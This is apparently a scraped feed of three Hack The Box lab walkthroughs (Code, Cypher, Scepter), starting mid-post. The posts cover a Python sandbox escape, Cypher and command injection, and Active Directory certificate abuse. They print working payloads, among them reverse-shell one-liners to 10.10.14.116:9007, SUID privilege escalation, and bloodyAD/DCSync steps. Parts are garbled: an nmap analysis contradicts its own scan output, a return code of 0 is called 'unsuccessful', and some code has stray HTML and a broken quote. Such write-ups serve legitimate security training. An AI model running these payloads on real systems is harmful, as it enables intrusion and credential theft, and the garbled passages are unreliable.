# 100 <class '_frozen_importlib_external._NamespacePath'>
# 101 <class '_frozen_importlib_external._NamespaceLoader'>
# 103 <class '_frozen_importlib_external.FileFinder'>
# 104 <class 'zipimport.zipimporter'>
# 105 <class 'zipimport._ZipImportResourceReader'>

These classes relate to Python’s import and module loading mechanisms.

Codec and OS Classes

# 107 <class 'codecs.IncrementalEncoder'>
# 108 <class 'codecs.IncrementalDecoder'>
# 109 <class 'codecs.StreamReaderWriter'>
# 110 <class 'codecs.StreamRecoder'>
# 132 <class 'os._wrap_close'>

These involve encoding/decoding and OS operations.

Builtins and Type Classes

# 133 <class '_sitebuiltins.Quitter'>
# 134 <class '_sitebuiltins._Printer'>
# 136 <class 'types.DynamicClassAttribute'>
# 137 <class 'types._GeneratorWrapper'>
# 138 <class 'warnings.WarningMessage'>
# 139 <class 'warnings.catch_warnings'>

This enumeration reveals classes such as Quitter (index 133), which was utilised to execute commands.

Utility and Context Classes

# 166 <class 'reprlib.Repr'>
# 174 <class 'functools.partialmethod'>
# 175 <class 'functools.singledispatchmethod'>
# 176 <class 'functools.cached_property'>
# 178 <class 'contextlib._GeneratorContextManagerBase'>
# 179 <class 'contextlib._BaseExitStack'>

These handle representation and context management.

Regex and Threading Classes

# 185 <class 'sre_parse.State'>
# 186 <class 'sre_parse.SubPattern'>
# 187 <class 'sre_parse.Tokenizer'>
# 188 <class 're.Scanner'>
# 189 <class '__future__._Feature'>
# 192 <class '_weakrefset._IterationGuard'>
# 193 <class '_weakrefset.WeakSet'>
# 194 <class 'threading._RLock'>
# 195 <class 'threading.Condition'>
# 196 <class 'threading.Semaphore'>
# 197 <class 'threading.Event'>
# 198 <class 'threading.Barrier'>
# 199 <class 'threading.Thread'>

These support regex parsing and threading.

Executing Commands

Capturing Command Output

Execute the whoami command using the Quitter class, resulting in an output code of 0, indicating successful execution.

Next, capture the whoami output using the subprocess module.

print(
    ''.__class__.__bases__[0].__subclasses__()[133]
    .__init__.__globals__['__builtins__']['eval'](
        "__import__('subprocess').run(['whoami'], capture_output=True).stdout.decode()"
    )
)

The execution of the command produced the output app-production, indicating the current user context under which the process is running.

Establishing a Reverse Shell

To establish a reverse shell:

print(
    ''.__class__.__bases__[0].__subclasses__()[133]
    .__init__.__globals__['__builtins__']['eval'](
        "__import__('subprocess').run(['bash','-c','bash -i >& /dev/tcp/10.10.14.116/9007 0>&1'], shell=True)'
    )
)

The command executed successfully and returned a CompletedProcess object with the arguments [‘bash’, ‘-c’, ‘bash -i >& /dev/tcp/10.10.14.116/9007 0>&1‘] and a return code of 0, indicating unsuccessful execution.

It was time to list the available attributes and methods of the int class.

Utilise subprocess.Popen (located at index 317) to initiate a reverse shell connection:

().__class__.__bases__[0].__subclasses__()[317](
    ["/bin/bash", "-c", "bash -i >& /dev/tcp/10.10.14.116/9007 0>&1"]
)

Using subprocess.PopenUsing subprocess.Popen

This command initiates a reverse shell connection by spawning a Bash process that connects back to the specified IP address and port.

A response was successfully received from the reverse shell connection.

Once shell access is obtained, proceed to locate and read the user flag.

Escalate to Root Privileges

Privilege Escalation:

Let’s explore the app directory, which includes the folders and files

Within the instance directory, there is a file named database.db.

SQLite3 Database Enumeration on the Code Machine

Therefore, let’s run the command sqlite3 database.db to interact with the database.

The database contains two tables.

We need to extract the stored hashes from the SQLite database using sqlite3.

The screenshot above displays the extracted hashes.

Hashcat Password Cracking Process

It is uncommon to obtain a complete set of cracked hashes as shown here.

Switching to Martin

By using the previously cracked password, we can now authenticate as the user Martin. Consequently, this allows us to gain access with Martin’s privileges and proceed with further actions.

Exploring and Testing the backy.sh Script

When running sudo -l, we discovered the presence of the /usr/bin/backy.sh script.

The backy.sh script streamlines folder backups on Linux. First, it demands a JSON settings file listing folders to back up. However, without a valid file, it halts and shows an error. Moreover, it restricts backups to /var/ or /home/ directories, thus blocking unauthorized paths. Additionally, it sanitizes folder lists to prevent security breaches. Once verified, it triggers the backy tool for the backup. Ultimately, backy.sh ensures safe, controlled backups, thwarting misuse.

Creating a Malicious JSON File on Code Machine

When Martin tries to run the /usr/bin/backy.sh script with sudo, the system immediately responds by showing how to use the script properly—specifically, it requires a file named task.json as input. Therefore, the script won’t run without the correct instructions. This highlights the importance of providing the right parameters when executing commands with elevated privileges, ensuring that the intended actions are performed safely and correctly.

The original /usr/bin/backy.sh file is a script that requires a JSON task file as an argument to run properly. Without this input, it displays a usage message and does not perform any actions.

Our modified version of the script uses dark.json as the input task file to execute specific commands or actions defined within that JSON, allowing us to leverage the script’s functionality with custom instructions.

We successfully obtained the tar.bz2 file, but encountered issues that prevented us from extracting or using it.

Perhaps using the correct task.json file is necessary to properly execute the script and avoid errors.

Our goal should be to directly obtain the file itself for proper use or analysis.

It appears that we have successfully accessed the root/ directory.

The script likely didn’t work earlier because it required a specific input file (task.json) to function correctly, and running it without this file caused it to display the usage instructions instead of executing the intended tasks.

The post Hack The Box: Code Machine Walkthrough – Easy Difficulity appeared first on Threatninja.net.

Hack The Box: Cypher Machine Walkthrough – Medium Difficultyy

✇Threatninja.net
By: darknite
26 July 2025 at 10:58
Reading Time: 9 minutes

Introduction to Cypher:

In this write-up, we will explore the “Cypher” machine from Hack The Box, categorised as a Medium difficulty challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.

Objective:

The goal of this walkthrough is to complete the “Cypher” machine from Hack The Box by achieving the following objectives:

User Flag: Exploit a vulnerable Neo4j database by injecting a Cypher query to extract a password hash, authenticate via SSH, and retrieve the user flag.

Root Flag: Leverage a misconfigured bbot binary with sudo privileges to execute a command that sets the SUID bit on /bin/bash, granting root access to capture the root flag.

Enumerating the Cypher Machine

Establishing Connectivity

I connected to the Hack The Box environment via OpenVPN using my credentials, running all commands from a Kali Linux virtual machine. The target IP address for the Cypher machine was 10.10.11.57

Reconnaissance:

Nmap Scan:

Begin with a network scan to identify open ports and running services on the target machine. 

nmap -sC -sV -oA initial 10.10.11.57

Nmap Output: 

┌─[dark@parrot]─[~/Documents/htb/cypher]
└──╼ $nmap -sC -sV -oA initial 10.10.11.57
# Nmap 7.94SVN scan initiated Sun Jul 20 11:35:15 2025 as: nmap -sC -sV -oA initial 10.10.11.57
Nmap scan report for 10.10.11.57
Host is up (0.26s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 be:68:db:82:8e:63:32:45:54:46:b7:08:7b:3b:52:b0 (ECDSA)
|_  256 e5:5b:34:f5:54:43:93:f8:7e:b6:69:4c:ac:d6:3d:23 (ED25519)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://cypher.htb/
|_http-server-header: nginx/1.24.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Jul 20 11:50:37 2025 -- 1 IP address (1 host up) scanned in 921.53 seconds
┌─[dark@parrot]─[~/Documents/htb/cypher]
└──╼ $

Analysis:

  • 22/tcp (SSH): OpenSSH 8.2p1 running, indicating potential remote access with valid credentials.
  • 80/tcp (HTTP): Apache web server, likely hosting a web application for further enumeration.

Web Enumeration:

I performed directory enumeration on the web server using Gobuster

gobuster dir -u http://cypher.htb -w /opt/common.txt

Gobuster Output:

Analysis:

  • The web interface revealed a “Try out free demo” button redirecting to /login/.
  • The /api/docs directory was inaccessible or empty.
  • A .jar file was found in /testing/, which seemed unusual and warranted further investigation.

The website interface looks something as shown above

Inspecting the login page at /login/ revealed a form.

In this example, the application builds a database query by directly inserting the username and password the user enters into the query string. Because the system does not properly check or clean these inputs, an attacker can insert special characters or code that changes the query’s intended behaviour. This lack of input validation creates a Cypher injection vulnerability.

Here’s a simplified version of the vulnerable code:

def verify_creds(username, password):
    cypher = f"""
    MATCH (u:USER) -[:SECRET]-> (h:SHA1)
    WHERE u.name = '{username}' AND u.password = '{password}'
    RETURN h.value AS hash
    """
    results = run_cypher(cypher)
    return results

Here, the username and password Values are inserted directly into the Cypher query string without any validation or escaping. This allows an attacker to inject malicious Cypher code by crafting special input, leading to a Cypher injection vulnerability.

No content found in the /api/docs directory.

A JAR file was located in the /testing/ directory, which appeared suspicious or out of place.

Static Analysis of JAR File Using JADX-GUI on Cypher machine

Examine the JAR file by opening it with jadx-gui.

The Code Walkthrough (Simplified)

The Function Setup

@Procedure(name = "custom.getUrlStatusCode", mode = Mode.READ)<br>public Stream<StringOutput> getUrlStatusCode(@Name("url") String url)<span style="background-color: initial; font-family: inherit; font-size: inherit; text-align: initial;">

This creates a special function that anyone can call from the database. It’s like putting up a sign that says “Ring this bell and I’ll check any website for you!” The problem is, no security guard is checking who is ringing the bell or what they’re really asking for.

The Weak Security Check

if (!url.toLowerCase().startsWith("http://") && !url.toLowerCase().startsWith("https://")) {
    url = "https://" + url;
}

The so-called ‘security’ in place is like a bouncer who only checks if you’re wearing shoes before letting you into a club. As long as you have shoes on, you’re allowed in—never mind the fact that you’re holding a crowbar and carrying a bag labeled “STOLEN GOODS.”

The Dangerous Command

String[] command = {"/bin/sh", "-c", "curl -s -o /dev/null --connect-timeout 1 -w %{http_code} " + url};

The real issue arises when the system takes the user-provided URL and passes it straight to the computer as-is, saying, “Execute this exactly as the user entered it.” There’s no validation or filtering, which makes it easy for attackers to sneak in malicious commands.

Exploitation

Web Application Exploration:

Analyse the login page’s packet by intercepting it, which returns an invalid credentials response.

Review the error that occurred after entering a Cypher injection into the username field.

Cypher Injection on Cypher Machine

Cypher injection happens when an application doesn’t properly check what you type into a login form or search box before sending it to the database. Think of it like filling out a form at a bank: instead of just writing your name, you also add a note telling the bank to open the vault. If the bank employee doesn’t read carefully and just follows the instructions, you could get access to things you shouldn’t.

In the same way, attackers can type special commands into a website’s input fields. If the website passes those commands straight to the database without checking, attackers can trick it into revealing private data or even taking control of the system.

Cypher Injection Verification and Exploitation Steps

This query tries to find a user node labeled USER with the name ‘test’ OR 1=1//‘ and then follows the SECRET relationship to get the related SHA1 node. It returns the value property from that SHA1 node as hash. The extra single quote after ‘test‘ likely causes a syntax error, which may be why the injection triggers an error.

Analyze the next step by modifying the payload to avoid syntax errors and bypass filters.

Analyze the network traffic by executing tcpdump.

Start by testing with the ping command to check for command execution.

We received an immediate response, confirming that the command was successfully executed.

Set up a Python HTTP server to test for outbound connections from the target system.

Attempt to fetch a file that doesn’t exist on the target system to observe the error behaviour.

The attempt was successful, confirming that the system executed the command and reached out as expected.

Start a listener on your machine to catch any incoming reverse connections from the target system.

Call the shell.sh file from your machine, and observe that the request hangs, indicating that the payload was likely executed and the reverse shell is in progress.

The shell.sh file was successfully transferred, confirming that the target system was able to fetch and process the file.

We have successfully gained access as the neo4j user on the target system.

Check the neo4j user’s home directory for any configuration files, databases, or credentials that could aid further exploitation.

The neo4j directory does not contain any files of interest.

A password was found in the .bash_history file.

Start the Neo4j service by using the cypher-shell command.

We successfully retrieved the hashes.

Access attempt as graphasm failed.

However, access is graphasm succeeded through the SSH or pwncat-cs service.

We successfully obtained the user flag.

Escalate to Root Privileges Access

Privilege Escalation:

The sudo -l command reveals the presence of the bbot binary with elevated privileges.

Executing sudo /usr/local/bin/bbot -cy /root/root.txt -d --dry-run returns the root flag.

A screen shot of a computer AI-generated content may be incorrect.

The bbot_present.yaml file contains important configuration details. It specifies the target as ecorp.htb and sets the output directory to /home/graphasm/bbot_scans. Under the configuration section, the Neo4j module is configured with the username neo4j and the password cU4btyib.20xtCMCXkBmerhK.

The dark.yml file specifies the module_dirs configuration with a directory path set to ["/home/graphasm"]. This indicates where the system will look for custom modules to load.

In the dark.py script, which imports BaseModule from bbot.modules.base, there is a class named dark that runs the command chmod +s /bin/bash through os.system(). This command changes the permissions of /bin/bash to set the setuid bit, allowing anyone to execute the shell with root privileges, posing a serious security risk.

First, check if /bin/bash has the SUID bit set. Look for an s in the user’s execute position (e.g., -rwsr-xr-x); this indicates it’s a SUID binary. If you don’t see it, the setuid bit isn’t set.

Execute the command to run bbot with the specified configuration and module

This runs the dark module using the settings from /home/graphasm/dark.yml, forcing execution with the --force flag.

Another way to gain root access is by executing the reverse shell with root privileges.

We have successfully received a reverse shell connection back to our machine.

The post Hack The Box: Cypher Machine Walkthrough – Medium Difficultyy appeared first on Threatninja.net.

Hack The Box: Scepter Machine Walkthrough – Hard Difficulty

✇Threatninja.net
By: darknite
19 July 2025 at 10:57
Reading Time: 13 minutes

Introduction to Scepter

This write-up covers the “Scepter” machine from Hack the Box, a hard difficulty challenge. It details the reconnaissance, exploitation, and privilege escalation steps to capture the user and root flags.

Objective on Scepter

The goal is to complete the “Scepter” machine by achieving these objectives:

User Flag: The attacker cracked weak .pfx certificate passwords using pfx2john and rockyou.txt, Discovering that all shared the same password. After fixing time skew, they extracted d.baker’s NTLM hash via certipy. BloodHound revealed d.baker could reset a.carter’s password due to group privileges over the OU. By exploiting ESC9 and modifying the mail attribute, the attacker generated a spoofed certificate, authenticated as a.carter, and accessed the system to capture the user flag.

Root Flag: The attacker discovered that h.brown could modify p.adams’ certificate mapping, leading to an ESC14 vulnerability. By forging a certificate and binding it to p.adams using altSecurityIdentities, they authenticated as p.adams with Certipy. Since p.adams had DCSync rights, the attacker used secretsdump to extract domain hashes, then pivoted to the Administrator account via evil-winrm, Securing the root flag.

Enumerating the Scepter Machine

Establishing Connectivity

I connected to the Hack The Box environment via OpenVPN using my credentials, running all commands from a Kali Linux virtual machine. The target IP address for the Scepter machine was 10.10.11.65.

Reconnaissance:

Nmap Scan:

We scan the target at IP 10.10.11.65 to identify open ports:

nmap  -sC -sV 10.10.11.65 -oA initial

Nmap Output: 

Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-07-17 19:06 EDT
Nmap scan report for 10.10.11.65
Host is up (0.18s latency).
Not shown: 987 closed tcp ports (conn-refused)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-07-17 23:13:45Z)
111/tcp  open  rpcbind       2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/tcp6  rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  2,3,4        111/udp6  rpcbind
|   100003  2,3         2049/udp   nfs
|   100003  2,3         2049/udp6  nfs
|   100003  2,3,4       2049/tcp   nfs
|   100003  2,3,4       2049/tcp6  nfs
|   100005  1,2,3       2049/tcp   mountd
|   100005  1,2,3       2049/tcp6  mountd
|   100005  1,2,3       2049/udp   mountd
|_  100005  1,2,3       2049/udp6  mountd
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: scepter.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-07-17T23:14:50+00:00; +6m52s from scanner time.
| ssl-cert: Subject: commonName=dc01.scepter.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.scepter.htb
| Not valid before: 2024-11-01T03:22:33
|_Not valid after:  2025-11-01T03:22:33
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: scepter.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-07-17T23:14:49+00:00; +6m51s from scanner time.
| ssl-cert: Subject: commonName=dc01.scepter.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.scepter.htb
| Not valid before: 2024-11-01T03:22:33
|_Not valid after:  2025-11-01T03:22:33
2049/tcp open  mountd        1-3 (RPC #100005)
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: scepter.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-07-17T23:14:50+00:00; +6m52s from scanner time.
| ssl-cert: Subject: commonName=dc01.scepter.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.scepter.htb
| Not valid before: 2024-11-01T03:22:33
|_Not valid after:  2025-11-01T03:22:33
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: scepter.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-07-17T23:14:49+00:00; +6m51s from scanner time.
| ssl-cert: Subject: commonName=dc01.scepter.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.scepter.htb
| Not valid before: 2024-11-01T03:22:33
|_Not valid after:  2025-11-01T03:22:33
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 6m51s, deviation: 0s, median: 6m50s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2025-07-17T23:14:44
|_  start_date: N/A

Analysis:

  • 53/tcp (DNS): Simple DNS Plus running; possible subdomain enumeration or zone transfer.
  • 88/tcp (Kerberos): Kerberos service available; potential for AS-REP roasting or ticket attacks.
  • 111/tcp (rpcbind): RPC services exposed; confirms NFS and mountd usage on 2049.
  • 135/tcp (MSRPC): Windows RPC service; common on domain controllers, used for DCOM and remote management.
  • 139/tcp (NetBIOS-SSN): NetBIOS session service; legacy Windows file/printer sharing.
  • 389/tcp (LDAP): LDAP exposed; reveals domain scepter.htb, possible LDAP enumeration.
  • 445/tcp (SMB): SMB service running; check for shares, null sessions, and vulnerabilities.
  • 464/tcp (kpasswd5): Kerberos password service; often used with password change requests.
  • 593/tcp (RPC over HTTP): RPC over HTTP (ncacn_http); used in Outlook and domain services.
  • 636/tcp (LDAPS): Secure LDAP; same domain as port 389, check for SSL issues or AD leaks.
  • 2049/tcp (NFS): NFS file sharing active; can allow unauthenticated file access or mounting.
  • 3268/tcp (GC LDAP): Global Catalog LDAP service; useful for domain-wide user enumeration.
  • 3269/tcp (GC LDAPS): Secure Global Catalog LDAP; encrypted version of port 3268.

NFS Enumeration on Scepter Machine

To check for NFS shares, I used:

showmount -e 10.10.11.65

Output:

The command showed a /helpdesk share. I mounted it locally:

I create a local folder nfs with mkdir nfs to serve as a mount point. Then, using sudo mount -t nfs 10.10.11.65:/helpdesk nfs -o nolock, you connect the remote /helpdesk share to that folder, making it accessible locally. The -o nolock option prevents locking issues. Finally, sudo ls nfs lists the shared files—like accessing a USB drive, but over the network.

When I tried cd nfs/ with sudo, it failed since cd is a shell built-in. I resolved it by switching to root:

Handling NFS Access

I resolved it by switching to root.

Inside, I found several files:

  • scott.pfx
  • baker.crt
  • baker.key
  • clark.pfx
  • lewis.pfx

I copied them to a higher directory

Certificate Analysis

baker.crt

I viewed baker.crt

It belonged to d.baker@scepter.htb, issued by scepter-DC01-CA.

baker.key

The corresponding baker.key was encrypted and required a password.

clark.pfx

Viewing .pfx files like clark.pfx showed unreadable binary output. These files are password-protected containers.

OpenSSL and Certificate Recreation

I used OpenSSL to inspect two password-protected .pfx files. Without the correct passwords, access is denied due to strong SHA256 encryption. Cracking these passwords is essential to unlock their contents and advance in the challenge

Cracking PFX Passwords

I used pfx2john.py to extract the hash

Although I’m using Hashcat to crack scott.pfx’s password from scott.hash, I encounter an error because the hash format isn’t recognised. Fix it by specifying the correct mode (-m 13100) or verifying the hash file. This step is crucial to unlock the certificate and gain access.

Password Cracking with John the Ripper

Then, I cracked it using John and the password newpassword worked for scott.hash but I already tested on all *.pfx file and success.

OpenSSL, Certipy, and BloodHound Exploitation Techniques

I re-created baker.pfx and I used newpassword as the export password.

AD CS Exploitation

Certipy Authentication

Another approach was to re-create the baker.pfx file; this was necessary because the original one was either invalid or unusable.

I authenticated to the domain using the baker.pfx file, and this failed initially due to clock skew.

I fixed the time with the command ntpdate -s 10.10.11.65

After syncing, authentication succeeded. I obtained an NTLM hash and a Kerberos .ccache file.

Bloodhound enumeration on Scepter machine

I ran BloodHound with NTLM hash

BloodHound CE GUI Analysis for Privilege Escalation on Scepter Machine

This represents a relationship in BloodHound where the user d.baker@scepter.htb has the ability to force a password change for the user a.carrter@scepter.htb. This is a powerful privilege escalation path because it can potentially allow d.baker to take over a.carrter‘s account by resetting their password.

A.CARTER is a member of the IT SUPPORTSTAFF ACCESS CERTIFICATE group. This group has the modification rights over a specific Organizational Unit (OU).

A.CARTER, as a member of the IT SUPPORTSTAFF ACCESS CERTIFICATE group, not only has modification rights over the OU containing D.BAKER but also can directly manipulate D.BAKER’s mail attribute. As a result, this access consequently opens the door to abusing ESC9 (Active Directory Certificate Services escalation). Furthermore, this vulnerability creates a significant privilege escalation risk that attackers can exploit.

H.BROWN belongs to both the Remote Management Users group and the Protected Users group. As a result, H.BROWN enjoys permissions for remote management tasks, such as accessing servers. However, the Protected Users group imposes strict security restrictions. Consequently, these limitations may block certain authentication methods, like NTLM, or hinder lateral movement within the scepter.htb domain. Therefore, exploiting H.BROWN’s account requires bypassing these constraints, for example, by leveraging certificate-based attacks to achieve privilege escalation in the Scepter machine.

H.BROWN has write permissions over critical attributes, enabling DCSync operations to extract sensitive data, such as password hashes. As a result, they can target P.ADAMS by manipulating the altSecurityIdentities attribute. For instance, updating this attribute with a crafted certificate allows H.BROWN to authenticate as P.ADAMS without a password. Therefore, exploiting altSecurityIdentities is a key step in achieving full domain control in the Scepter machine.

Analysis of Certificate Templates

By using Certipy’s find command, I enumerated certificate templates in AD CS, specifically targeting misconfigurations like ESC1, ESC2, or ESC8 vulnerabilities. For example, these flaws allow attackers to request high-privilege certificates, enabling unauthorized access. Consequently, identifying such issues is critical for exploiting AD CS weaknesses. Additionally, this step facilitates privilege escalation by revealing templates with excessive permissions. Thus, Certipy’s enumeration plays a pivotal role in achieving domain compromise in the Scepter machine.

ESC9: ADCS Privilege Escalation

Exploit Overview:

ESC9 in Active Directory Certificate Services (ADCS) allows attackers to abuse misconfigured certificate templates for privilege escalation. If a template permits users to specify Subject Alternative Names (SANs) (e.g., UPNs) and the CA honours them without restrictions, a low-privileged user can request a certificate impersonating a high-privileged account (like a Domain Admin).

Source: ADCS ESC9 – No Security Extension

Troubleshooting BloodyAD Issues

We need to update the password using the command provided, but unfortunately, the password does not meet the required complexity rules.

The password was successfully changed after meeting the complexity requirements.

The “Invalid Credentials” error (LDAP error code 49) during an LDAP bind typically indicates a failure to authenticate due to incorrect credentials or configuration issues.

System Configuration Assessment

If the UserAccountControl attribute includes the DONT_EXPIRE_PASSWORD flag (value 65536 or 0x10000), the user’s password never expires. Consequently, this setting can disrupt LDAP authentication or password-related operations. For example, systems expecting periodic password changes or strict complexity rules may reject the account’s state. As a result, this could cause the “InvalidCredentials” error (LDAP error code 49) during an LDAP bind in the Scepter machine. Therefore, verifying the account’s configuration and server expectations is crucial for resolving authentication issues.

The screenshot provided displays the output of the ldapsearch command.

Running the bloodyAD command with sudo privileges resolved the issue, and it now functions perfectly.

Certificate Abuse for scepter machine

I used an existing template to request a certificate for h.brown. This gave me h.brown.pfx.

After exploiting AD CS vulnerabilities, the system provided H.BROWN’s NTLM hash and a h.brown.ccache file. Specifically, the .ccache file serves as a temporary access pass, enabling impersonation of H.BROWN across the network without re-entering credentials. For example, this allows discreet movement within the scepter.htb domain. Consequently, it facilitates information gathering, such as enumerating shares or services, for further exploitation. Thus, these credentials are critical for advancing privilege escalation in the Scepter machine.

After obtaining H.BROWN’s Kerberos ticket in the h.brown.ccache file, configure your system to use it. Then, connect to a Windows server, such as dc01.scepter.htb, bypassing password authentication. For instance, if the ticket is valid and the server accepts it, you’ll gain remote access as H.BROWN.

We retrieved the user flag by executing the type user.txt command.

Escalate to Root Privileges Access on Scepter Machine

Privileges Access

H.BROWN’s Permissions

Using H.BROWN’s Kerberos ticket (h.brown.ccache), the command bloodyAD -d scepter.htb -u h.brown -k –host dc01.scepter.htb –dc-ip 10.10.11.65 get object h.brown –detail queries the domain controller. Specifically, it reveals permissions, such as modifying users or groups. For example, the –detail flag provides precise control rights, including write access to P.ADAMS’s altSecurityIdentities. Consequently, this output identifies privilege escalation paths, like DCSync or certificate-based attacks. Thus, querying permissions is a key step in the Scepter machine’s AD exploitation.

altSecurityIdentities Manipulation

You discovered that h.brown has write permissions on the altSecurityIdentities attribute of the user p.adams in Active Directory, as indicated by:

distinguishedName: CN=p.adams,OU=Helpdesk Enrollment Certificate,DC=scepter,DC=htb
altSecurityIdentities: WRITE

This means h.brown can hijack p.adams’s identity by modifying their certificate mapping. With this, h.brown can request a certificate and authenticate as p.adams—no password needed. Moreover, if p.adams is highly privileged (e.g., Domain Admin), h.brown can launch a DCSync attack to dump domain password hashes. Consequently, this single write permission can lead to a complete domain compromise.

Abusing altSecurityIdentities and Certificate-Based Attacks in Active Directory

After using OpenSSL to extract the certificate from d.baker.pfx, the serial number shows up in its usual big-endian format, which is just the standard way it’s displayed.

Exploit ESC14 with User-to-User Certificate-Based Attack

62:00:00:00:05:2a:87:15:0c:cc:01:d1:07:00:00:00:00:00:05

After extracting the certificate serial number from d.baker.pfx using OpenSSL, it appears in big-endian format (e.g., 62:00:00:00:05:2a:87:15:0c:cc:01:d1:07:00:00:00:00:00:05). However, tools like Certipy and BloodyAD require little-endian format for certificate forgery. Therefore, reversing the byte order is crucial for accurate interpretation. For instance, this conversion ensures successful altSecurityIdentities manipulation in commands like bloodyAD set object p.adams altSecurityIdentities.

The command can be used as follows:

bloodyAD -d "scepter.htb" -u "h.brown" -k --host "dc01.scepter.htb" --dc-ip "10.10.11.65" set object "p.adams" altSecurityIdentities -v "X509:<RFC822>p.adams@scepter.htb"

By updating altSecurityIdentities, you link your certificate to p.adams’s account, letting you log in as them without a password. This is a key move in abusing certificate-based authentication in AD.

The command can be used as follows:

bloodyAD -d "scepter.htb" -u "a.carter" -p 'Password' --host "dc01.scepter.htb" set object "d.baker" mail -v "p.adams@scepter.htb"

This type of change can be used to manipulate identity mappings, paving the way for attacks like spoofing or malicious certificate requests.

Root Access via Pass-the-Hash

This Certipy command uses Kerberos to request a StaffAccessCertificate for p.adams from dc01.scepter.htb. If granted, it saves the cert as p.adams, letting you authenticate and act as p.adams within the domain.

This Certipy command uses the padams.pfx certificate to authenticate as p.adams to the AD domain at 10.10.11.65, enabling password-free access and resource control via certificate-based login.

This command uses p.adams’s NTLM hash to authenticate to the domain controller dc01.scepter.htb and extract the administrator’s password hashes. It targets only the admin account (RID 500), retrieving the LM hash (usually empty) and the NTLM hash—the latter can be used for pass-the-hash attacks to gain full admin access. This lets an attacker escalate privileges and take control of the domain controller.

After obtaining the Administrator’s NTLM hash via a DCSync attack, use Evil-WinRM to connect to the Windows machine at 10.10.11.65. Specifically, the command evil-winrm -i 10.10.11.65 -u Administrator -H authenticates via Pass-the-Hash, bypassing password requirements. If successful, it establishes a remote PowerShell session with full admin rights. Consequently, this access allows command execution, such as type root.txt, to retrieve the root flag. Thus, Evil-WinRM is critical for achieving domain control in the Scepter machine.

We retrieved the root flag by executing the type root.txt command.

The post Hack The Box: Scepter Machine Walkthrough – Hard Difficulty appeared first on Threatninja.net.

❌
❌